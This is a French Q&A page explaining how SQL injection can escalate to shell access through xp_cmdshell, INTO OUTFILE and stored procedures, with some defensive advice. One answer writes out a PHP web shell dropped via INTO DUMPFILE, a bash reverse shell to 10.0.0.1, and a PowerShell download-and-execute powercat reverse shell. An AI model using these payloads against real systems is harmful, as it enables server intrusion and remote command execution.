web-dev-qa-db-fra.com

Tirer parti d'un shell à partir d'une injection SQL

Si je comprends bien, l'injection SQL ne devrait permettre que la manipulation et la récupération de données, rien de plus. En supposant qu'aucun mot de passe ne soit obtenu, comment une simple injection SQL peut-elle être utilisée pour exploiter un shell?

J'ai vu des attaques là où cela a été prétendu possible, et si c'est le cas, j'aimerais pouvoir me protéger contre cela.

20
Sonny Ordell

De nombreux serveurs SQL courants prennent en charge des fonctions telles que xp_cmdshell qui permettent l'exécution de commandes arbitraires. Ils ne sont pas dans la norme SQL, donc chaque logiciel de base de données a des noms différents.

De plus, il y a SELECT ... INTO OUTFILE, qui peut être utilisé pour écrire des fichiers arbitraires avec les autorisations de l'utilisateur de la base de données. Il peut être possible d'écraser les scripts Shell qui sont appelés par cron ou au démarrage. Si le processus du serveur de base de données s'exécute sur le même serveur qu'une application Web (par exemple, un seul serveur loué), il peut être possible d'écrire des fichiers .php qui peut ensuite être appelé en visitant l'url appropriée dans le navigateur.

La troisième façon de provoquer des dommages consiste à définir et à exécuter les procédures stockées dans la base de données. Ou redéfinissez les procédures stockées existantes, par exemple une fonction qui vérifie les mots de passe.

Il y a probablement plus de façons.

L'utilisateur de la base de données d'application ne doit ni avoir l'autorisation d'exécuter les fonctions Shell, ni d'utiliser INTO OUTFILE ni de définir des procédures stockées.

25

Il existe plusieurs façons d'obtenir Shell. En voici quelques uns. Le lien en bas devrait vous conduire à d'excellentes feuilles de triche pour de nombreux types de bases de données comme MSSQL, Oracle, MySQL et plus encore.

Une bonne astuce pour obtenir Shell est d'avoir ceci feuille de triche Shell inversée dans votre poche arrière.

Outfile

Si vous savez où placer le shell sur le serveur (quelque part accessible), vous pouvez utiliser la requête suivante (mysql) pour créer par exemple un shell php sur le serveur web:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Trouver où placer le Shell

Vous devez savoir où se trouve le répertoire du domaine. Apprendre où la base de données s'exécute peut être utile donc une requête d'injection (mysql) comme celle-ci pourrait peut-être vous renseigner sur l'architecture du répertoire:

SELECT @@datadir;

Vous pouvez également être chanceux si vous essayez de forcer les messages d'erreur du système pour qu'il vous indique où il s'exécute. En règle générale, cette approche est la plus simple car de nombreux messages d'erreur sont très

Utilisation de fonctions DB intégrées (xp_cmdshell)

MSSQL a un moyen relativement simple d'appeler les fonctions du système d'exploitation en utilisant la fonction intégrée xp_cmdshell. Ce n'est pas aussi facile dans MySQL (nécessite généralement un outfile ou une procédure stockée). Oracle est aussi facile que possible car il permet à Java code d'être exécuté.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

L'instruction ci-dessus crée un shell interactif (-i) écoutant sur le port 8080 10.0.0.1.

Edit : Bien sûr, MSSQL avec Bash est vraiment peu probable. Je n'y ai pas pensé avant de voir le commentaire. Au lieu de bash, on peut faire un script Powershell inversé à la place, comme ceci:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat peut être téléchargé à partir d'ici: https://github.com/besimorhino/powercat

Shell via des procédures stockées

Si vous pouvez concaténer des requêtes dans un point d'injection, vous pouvez très probablement créer des procédures dans la base de données. Ces procédures fonctionnent comme des fonctions que vous pouvez ensuite appeler avec des requêtes.

Voir commandes Shell de PL SQL pour plus de détails à ce sujet.

Autre

Bonne source d'injection: singe penteste

14
Chris Dale

Avec une base de données Oracle, vous pouvez réellement compiler et exécuter Java à partir d'une requête SQL. J'ai vu des attaquants implémenter un wrapper Shell de base dans Java pour Oracle, et exécutez-le et compilez-le à partir de l'injection SQL.

4
chris